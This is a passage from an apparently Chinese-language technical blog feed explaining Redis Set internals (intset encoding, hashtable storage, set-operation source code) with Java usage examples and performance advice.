class="keyword">struct</span> <span class="title">intset</span> &#123;</span></span><br><span class="line">    <span class="type">uint32_t</span> encoding;   <span class="comment">// 编码类型（int16/int32/int64）</span></span><br><span class="line">    <span class="type">uint32_t</span> length;     <span class="comment">// 元素数量</span></span><br><span class="line">    <span class="type">int8_t</span> contents[];   <span class="comment">// 柔性数组，实际存储整数</span></span><br><span class="line">&#125; intset;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">内存布局（存储3个int16整数）：</span><br><span class="line">┌──────────┬──────────┬───────────────────────────────┐</span><br><span class="line">│ encoding │  length  │        contents               │</span><br><span class="line">│ 2字节    │  4字节   │  2字节 │ 2字节 │ 2字节       │</span><br><span class="line">│ INT16    │    3     │  100   │  200  │  300        │</span><br><span class="line">└──────────┴──────────┴───────────────────────────────┘</span><br><span class="line">总大小：4 + 4 + 2*3 = 14字节</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-编码升级"><a href="#2-2-编码升级" class="headerlink" title="2.2 编码升级"></a>2.2 编码升级</h2><p>当插入一个超出当前编码范围的整数时，触发升级：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">当前状态：encoding=INT16，存储 [100, 200]</span><br><span class="line"></span><br><span class="line">插入 40000（超出int16范围）：</span><br><span class="line"></span><br><span class="line">升级过程：</span><br><span class="line">1. 将encoding改为INT32</span><br><span class="line">2. 重新分配内存（4 * 3 = 12字节）</span><br><span class="line">3. 从后向前迁移数据（防止覆盖）</span><br><span class="line">   contents[2] = 40000  (int32)</span><br><span class="line">   contents[1] = 200    (int32)</span><br><span class="line">   contents[0] = 100    (int32)</span><br><span class="line"></span><br><span class="line">升级后：</span><br><span class="line">┌──────────┬──────────┬───────────────────────────────┐</span><br><span class="line">│ INT32    │    3     │  100   │  200  │  40000      │</span><br><span class="line">└──────────┴──────────┴───────────────────────────────┘</span><br><span class="line">总大小：4 + 4 + 4*3 = 20字节</span><br></pre></td></tr></table></figure><p><strong>升级特点</strong>：</p><ul><li>升级是单向的（int16 → int32 → int64），不会降级</li><li>升级后不再降级，即使删除大值</li><li>升级操作O(n)，但发生频率低</li></ul><p>#</p><h2 id="2-3-有序性保证"><a href="#2-3-有序性保证" class="headerlink" title="2.3 有序性保证"></a>2.3 有序性保证</h2><p>IntSet始终保持有序：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 查找使用二分查找</span></span><br><span class="line"><span class="type">static</span> <span class="type">uint8_t</span> <span class="title function_">intsetSearch</span><span class="params">(intset *is, <span class="type">int64_t</span> value, <span class="type">uint32_t</span> *pos)</span> &#123;</span><br><span class="line">    <span class="type">int</span> min = <span class="number">0</span>, max = intrev32ifbe(is-&gt;length)<span class="number">-1</span>, mid = <span class="number">-1</span>;</span><br><span class="line">    <span class="type">int64_t</span> cur = <span class="number">-1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (max &gt;= min) &#123;</span><br><span class="line">        mid = ((<span class="type">unsigned</span> <span class="type">int</span>)min + (<span class="type">unsigned</span> <span class="type">int</span>)max) &gt;&gt; <span class="number">1</span>;</span><br><span class="line">        cur = _intsetGet(is, mid);</span><br><span class="line">        <span class="keyword">if</span> (value &gt; cur) &#123;</span><br><span class="line">            min = mid + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (value &lt; cur) &#123;</span><br><span class="line">            max = mid - <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>有序性优势</strong>：</p><ul><li>查找：O(log n) 二分查找</li><li>去重：天然有序，相等元素相邻</li></ul><p>#</p><h2 id="2-4-插入操作"><a href="#2-4-插入操作" class="headerlink" title="2.4 插入操作"></a>2.4 插入操作</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">intset *<span class="title function_">intsetAdd</span><span class="params">(intset *is, <span class="type">int64_t</span> value, <span class="type">uint8_t</span> *success)</span> &#123;</span><br><span class="line">    <span class="type">uint8_t</span> valenc = _intsetValueEncoding(value);</span><br><span class="line">    <span class="type">uint32_t</span> pos;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 是否成功（默认）</span></span><br><span class="line">    <span class="keyword">if</span> (success) *success = <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 如果需要，升级编码</span></span><br><span class="line">    <span class="keyword">if</span> (valenc &gt; intrev32ifbe(is-&gt;encoding)) &#123;</span><br><span class="line">        <span class="keyword">return</span> intsetUpgradeAndAdd(is, value);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 查找插入位置（如果不存在）</span></span><br><span class="line">    <span class="keyword">if</span> (intsetSearch(is, value, &amp;pos)) &#123;</span><br><span class="line">        <span class="keyword">if</span> (success) *success = <span class="number">0</span>;  <span class="comment">// 已存在</span></span><br><span class="line">        <span class="keyword">return</span> is;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 扩容</span></span><br><span class="line">    is = intsetResize(is, intrev32ifbe(is-&gt;length)+<span class="number">1</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 移动pos之后的元素（为插入腾出位置）</span></span><br><span class="line">    <span class="keyword">if</span> (pos &lt; intrev32ifbe(is-&gt;length)) </span><br><span class="line">        intsetMoveTail(is, pos, pos+<span class="number">1</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 插入元素</span></span><br><span class="line">    _intsetSet(is, pos, value);</span><br><span class="line">    is-&gt;length = intrev32ifbe(intrev32ifbe(is-&gt;length)+<span class="number">1</span>);</span><br><span class="line">    <span class="keyword">return</span> is;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、Hashtable实现"><a href="#三、Hashtable实现" class="headerlink" title="三、Hashtable实现"></a>三、Hashtable实现</h2><p>#</p><h2 id="3-1-编码转换"><a href="#3-1-编码转换" class="headerlink" title="3.1 编码转换"></a>3.1 编码转换</h2><p>当Set使用hashtable编码时，value存储什么？</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Set的hashtable中，key是元素值，value是NULL</span></span><br><span class="line"><span class="comment">// 只用哈希表的key来存储和去重</span></span><br><span class="line"></span><br><span class="line">dictEntry *entry = dictFind(<span class="built_in">set</span>-&gt;ptr, element);</span><br><span class="line"><span class="comment">// entry-&gt;key = element</span></span><br><span class="line"><span class="comment">// entry-&gt;v.val = NULL</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-查找过程"><a href="#3-2-查找过程" class="headerlink" title="3.2 查找过程"></a>3.2 查找过程</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">robj *<span class="title function_">setTypeIsMember</span><span class="params">(robj *subject, robj *value)</span> &#123;</span><br><span class="line">    <span class="type">long</span> <span class="type">long</span> llval;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (subject-&gt;encoding == OBJ_ENCODING_HT) &#123;</span><br><span class="line">        <span class="comment">// hashtable编码，直接查哈希表</span></span><br><span class="line">        <span class="keyword">return</span> dictFind(subject-&gt;ptr, value) != <span class="literal">NULL</span>;</span><br><span class="line">    &#125; </span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (subject-&gt;encoding == OBJ_ENCODING_INTSET) &#123;</span><br><span class="line">        <span class="comment">// intset编码</span></span><br><span class="line">        <span class="keyword">if</span> (isObjectRepresentableAsLongLong(value, &amp;llval) == C_OK) &#123;</span><br><span class="line">            <span class="keyword">return</span> intsetFind(subject-&gt;ptr, llval);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、集合运算"><a href="#四、集合运算" class="headerlink" title="四、集合运算"></a>四、集合运算</h2><p>#</p><h2 id="4-1-SINTER（交集）"><a href="#4-1-SINTER（交集）" class="headerlink" title="4.1 SINTER（交集）"></a>4.1 SINTER（交集）</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sinterCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj **setkeys = c-&gt;argv + <span class="number">1</span>;</span><br><span class="line">    robj *dstkey = <span class="literal">NULL</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 1. 找到最小的Set（减少比较次数）</span></span><br><span class="line">    <span class="type">int</span> minidx = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j &lt; c-&gt;argc - <span class="number">1</span>; j++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (setTypeSize(setkeys[j]) &lt; setTypeSize(setkeys[minidx])) &#123;</span><br><span class="line">            minidx = j;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 遍历最小Set的元素</span></span><br><span class="line">    si = setTypeInitIterator(setkeys[minidx]);</span><br><span class="line">    <span class="keyword">while</span> (setTypeNext(si, &amp;ele, &amp;elesize) != <span class="number">-1</span>) &#123;</span><br><span class="line">        <span class="comment">// 3. 检查元素是否在其他所有Set中</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j &lt; c-&gt;argc - <span class="number">1</span>; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (j == minidx) <span class="keyword">continue</span>;</span><br><span class="line">            <span class="keyword">if</span> (!setTypeIsMember(setkeys[j], ele)) <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 4. 如果所有Set都包含，加入结果</span></span><br><span class="line">        <span class="keyword">if</span> (j == c-&gt;argc - <span class="number">1</span>) &#123;</span><br><span class="line">            addReplyBulkCBuffer(c, ele, elesize);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优化策略</strong>：</p><ul><li>以最小的Set作为基准遍历</li><li>减少查找次数</li></ul><p>#</p><h2 id="4-2-SUNION（并集）"><a href="#4-2-SUNION（并集）" class="headerlink" title="4.2 SUNION（并集）"></a>4.2 SUNION（并集）</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sunionCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 创建临时结果Set</span></span><br><span class="line">    robj *dstset = setTypeCreate(<span class="literal">NULL</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 遍历所有输入Set</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j &lt; c-&gt;argc - <span class="number">1</span>; j++) &#123;</span><br><span class="line">        robj *setobj = lookupKeyRead(c-&gt;db, setkeys[j]);</span><br><span class="line">        <span class="keyword">if</span> (setobj == <span class="literal">NULL</span>) <span class="keyword">continue</span>;</span><br><span class="line">        </span><br><span class="line">        si = setTypeInitIterator(setobj);</span><br><span class="line">        <span class="keyword">while</span> (setTypeNext(si, &amp;ele, &amp;elesize) != <span class="number">-1</span>) &#123;</span><br><span class="line">            <span class="comment">// 3. 加入结果（自动去重）</span></span><br><span class="line">            setTypeAdd(dstset, ele);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 4. 输出结果</span></span><br><span class="line">    setTypeIterator *di = setTypeInitIterator(dstset);</span><br><span class="line">    <span class="keyword">while</span> (setTypeNext(di, &amp;ele, &amp;elesize) != <span class="number">-1</span>) &#123;</span><br><span class="line">        addReplyBulkCBuffer(c, ele, elesize);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-SDIFF（差集）"><a href="#4-3-SDIFF（差集）" class="headerlink" title="4.3 SDIFF（差集）"></a>4.3 SDIFF（差集）</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sdiffCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *dstset = setTypeCreate(<span class="literal">NULL</span>);</span><br><span class="line">    robj *setobj = lookupKeyRead(c-&gt;db, setkeys[<span class="number">1</span>]);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 1. 遍历第一个Set</span></span><br><span class="line">    si = setTypeInitIterator(setobj);</span><br><span class="line">    <span class="keyword">while</span> (setTypeNext(si, &amp;ele, &amp;elesize) != <span class="number">-1</span>) &#123;</span><br><span class="line">        <span class="comment">// 2. 检查是否不在其他Set中</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">2</span>; j &lt; c-&gt;argc - <span class="number">1</span>; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (setTypeIsMember(setkeys[j], ele)) <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 不在其他Set中，加入结果</span></span><br><span class="line">        <span class="keyword">if</span> (j == c-&gt;argc - <span class="number">1</span>) &#123;</span><br><span class="line">            setTypeAdd(dstset, ele);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、应用场景"><a href="#五、应用场景" class="headerlink" title="五、应用场景"></a>五、应用场景</h2><p>#</p><h2 id="5-1-共同好友"><a href="#5-1-共同好友" class="headerlink" title="5.1 共同好友"></a>5.1 共同好友</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SocialService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 添加好友</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addFriend</span><span class="params">(Long userId, Long friendId)</span> &#123;</span><br><span class="line">        redis.opsForSet().add(<span class="string">&quot;friends:&quot;</span> + userId, String.valueOf(friendId));</span><br><span class="line">        redis.opsForSet().add(<span class="string">&quot;friends:&quot;</span> + friendId, String.valueOf(userId));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取共同好友</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getCommonFriends</span><span class="params">(Long userId1, Long userId2)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForSet().intersect(<span class="string">&quot;friends:&quot;</span> + userId1, <span class="string">&quot;friends:&quot;</span> + userId2);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取好友数量</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getFriendCount</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForSet().size(<span class="string">&quot;friends:&quot;</span> + userId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 是否好友</span></span><br><span class="line">    <span class="keyword">public</span> Boolean <span class="title function_">isFriend</span><span class="params">(Long userId, Long friendId)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForSet().isMember(<span class="string">&quot;friends:&quot;</span> + userId, String.valueOf(friendId));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-标签系统"><a href="#5-2-标签系统" class="headerlink" title="5.2 标签系统"></a>5.2 标签系统</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TagService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 给文章添加标签</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">tagArticle</span><span class="params">(Long articleId, List&lt;String&gt; tags)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;article:tags:&quot;</span> + articleId;</span><br><span class="line">        redis.opsForSet().add(key, tags.toArray(<span class="keyword">new</span> <span class="title class_">String</span>[<span class="number">0</span>]));</span><br><span class="line">        redis.expire(key, <span class="number">30</span>, TimeUnit.DAYS);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取文章标签</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getArticleTags</span><span class="params">(Long articleId)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForSet().members(<span class="string">&quot;article:tags:&quot;</span> + articleId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取有相同标签的文章</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getArticlesByTag</span><span class="params">(String tag)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForSet().members(<span class="string">&quot;tag:articles:&quot;</span> + tag);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取同时有多个标签的文章</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getArticlesByTags</span><span class="params">(List&lt;String&gt; tags)</span> &#123;</span><br><span class="line">        String[] keys = tags.stream()</span><br><span class="line">            .map(t -&gt; <span class="string">&quot;tag:articles:&quot;</span> + t)</span><br><span class="line">            .toArray(String[]::<span class="keyword">new</span>);</span><br><span class="line">        <span class="keyword">return</span> redis.opsForSet().intersect(keys);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取文章的所有标签（反向索引）</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">indexArticleTags</span><span class="params">(Long articleId, List&lt;String&gt; tags)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (String tag : tags) &#123;</span><br><span class="line">            redis.opsForSet().add(<span class="string">&quot;tag:articles:&quot;</span> + tag, String.valueOf(articleId));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-IP黑名单"><a href="#5-3-IP黑名单" class="headerlink" title="5.3 IP黑名单"></a>5.3 IP黑名单</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">IpBlacklistService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">BLACKLIST_KEY</span> <span class="operator">=</span> <span class="string">&quot;blacklist:ip&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addToBlacklist</span><span class="params">(String ip)</span> &#123;</span><br><span class="line">        redis.opsForSet().add(BLACKLIST_KEY, ip);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">removeFromBlacklist</span><span class="params">(String ip)</span> &#123;</span><br><span class="line">        redis.opsForSet().remove(BLACKLIST_KEY, ip);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isBlacklisted</span><span class="params">(String ip)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Boolean.TRUE.equals(redis.opsForSet().isMember(BLACKLIST_KEY, ip));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getAllBlacklisted</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForSet().members(BLACKLIST_KEY);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-抽奖-随机选取"><a href="#5-4-抽奖-随机选取" class="headerlink" title="5.4 抽奖/随机选取"></a>5.4 抽奖/随机选取</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LotteryService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 添加参与者</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addParticipant</span><span class="params">(String activityId, String userId)</span> &#123;</span><br><span class="line">        redis.opsForSet().add(<span class="string">&quot;lottery:&quot;</span> + activityId, userId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 随机抽取中奖者（不重复）</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">drawWinners</span><span class="params">(String activityId, <span class="type">int</span> count)</span> &#123;</span><br><span class="line">        <span class="comment">// SPOP随机弹出</span></span><br><span class="line">        List&lt;String&gt; winners = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; count; i++) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">winner</span> <span class="operator">=</span> redis.opsForSet().pop(<span class="string">&quot;lottery:&quot;</span> + activityId);</span><br><span class="line">            <span class="keyword">if</span> (winner == <span class="literal">null</span>) <span class="keyword">break</span>;</span><br><span class="line">            winners.add(winner);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> winners;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 随机抽取中奖者（可重复）</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">drawWinnersWithReplacement</span><span class="params">(String activityId, <span class="type">int</span> count)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(redis.opsForSet()</span><br><span class="line">            .distinctRandomMembers(<span class="string">&quot;lottery:&quot;</span> + activityId, count));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、性能优化"><a href="#六、性能优化" class="headerlink" title="六、性能优化"></a>六、性能优化</h2><p>#</p><h2 id="6-1-利用IntSet节省内存"><a href="#6-1-利用IntSet节省内存" class="headerlink" title="6.1 利用IntSet节省内存"></a>6.1 利用IntSet节省内存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 存储用户ID（整数），Set会自动使用intset</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">500</span>; i++) &#123;</span><br><span class="line">    redis.opsForSet().add(<span class="string">&quot;followers:&quot;</span> + userId, String.valueOf(i));</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 编码为intset，非常省内存</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 插入非整数元素，触发编码转换</span></span><br><span class="line">redis.opsForSet().add(<span class="string">&quot;followers:&quot;</span> + userId, <span class="string">&quot;not_a_number&quot;</span>);</span><br><span class="line"><span class="comment">// 转换为hashtable</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-批量操作"><a href="#6-2-批量操作" class="headerlink" title="6.2 批量操作"></a>6.2 批量操作</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 批量添加</span></span><br><span class="line">redis.opsForSet().add(<span class="string">&quot;set&quot;</span>, <span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>, <span class="string">&quot;c&quot;</span>, <span class="string">&quot;d&quot;</span>, <span class="string">&quot;e&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 批量判断存在性（使用Pipeline）</span></span><br><span class="line">List&lt;Boolean&gt; exists = redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">    <span class="keyword">for</span> (String item : items) &#123;</span><br><span class="line">        connection.setCommands().sIsMember(<span class="string">&quot;set&quot;</span>.getBytes(), item.getBytes());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;).stream()</span><br><span class="line">  .map(o -&gt; (Boolean) o)</span><br><span class="line">  .collect(Collectors.toList());</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-大Set分片"><a href="#6-3-大Set分片" class="headerlink" title="6.3 大Set分片"></a>6.3 大Set分片</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 如果Set很大，按hash分片</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addToShardSet</span><span class="params">(String key, String member)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> member.hashCode() % <span class="number">10</span>;</span><br><span class="line">    redis.opsForSet().add(key + <span class="string">&quot;:&quot;</span> + shard, member);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isInShardSet</span><span class="params">(String key, String member)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> member.hashCode() % <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">return</span> Boolean.TRUE.equals(redis.opsForSet()</span><br><span class="line">        .isMember(key + <span class="string">&quot;:&quot;</span> + shard, member));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、常见问题"><a href="#七、常见问题" class="headerlink" title="七、常见问题"></a>七、常见问题</h2><p>#</p><h2 id="7-1-Set最大元素数"><a href="#7-1-Set最大元素数" class="headerlink" title="7.1 Set最大元素数"></a>7.1 Set最大元素数</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">理论限制：约40亿（2^32 - 1）</span><br><span class="line">实际限制：内存大小</span><br><span class="line"></span><br><span class="line">建议：单个Set不超过10000个元素</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-SMEMBERS的性能"><a href="#7-2-SMEMBERS的性能" class="headerlink" title="7.2 SMEMBERS的性能"></a>7.2 SMEMBERS的性能</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># SMEMBERS返回所有元素，大Set会阻塞</span></span><br><span class="line">SMEMBERS big:<span class="built_in">set</span>   <span class="comment"># 危险！</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 替代方案：使用SSCAN渐进遍历</span></span><br><span class="line">SSCAN big:<span class="built_in">set</span> 0 COUNT 100</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-集合运算的复杂度"><a href="#7-3-集合运算的复杂度" class="headerlink" title="7.3 集合运算的复杂度"></a>7.3 集合运算的复杂度</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">SINTER：O(N*M)，N是最小Set大小，M是Set数量</span><br><span class="line">SUNION：O(N)，N是所有Set元素总数</span><br><span class="line">SDIFF：O(N)，N是第一个Set的元素数</span><br><span class="line"></span><br><span class="line">建议：</span><br><span class="line">- 大Set的交集避免在Redis做，应用层处理</span><br><span class="line">- 或预先计算交集存入新Set</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>特性</th><th>IntSet</th><th>Hashtable</th></tr></thead><tbody><tr><td>结构</td><td>有序整数数组</td><td>哈希表</td></tr><tr><td>查找</td><td>O(log n)</td><td>O(1)</td></tr><tr><td>插入</td><td>O(n)</td><td>O(1)</td></tr><tr><td>内存</td><td>极紧凑</td><td>有指针开销</td></tr><tr><td>适用</td><td>小整数集合</td><td>大集合或字符串</td></tr></tbody></table><p>Set使用建议：</p><ol><li><strong>存储整数</strong>：尽量让Set使用intset编码</li><li><strong>控制大小</strong>：单个Set不超过10000元素</li><li><strong>SSCAN替代SMEMBERS</strong>：避免阻塞</li><li><strong>集合运算</strong>：注意复杂度，大Set在应用层处理</li><li><strong>去重场景</strong>：Set是天然的去重数据结构</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CopyOnWriteArrayList 适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
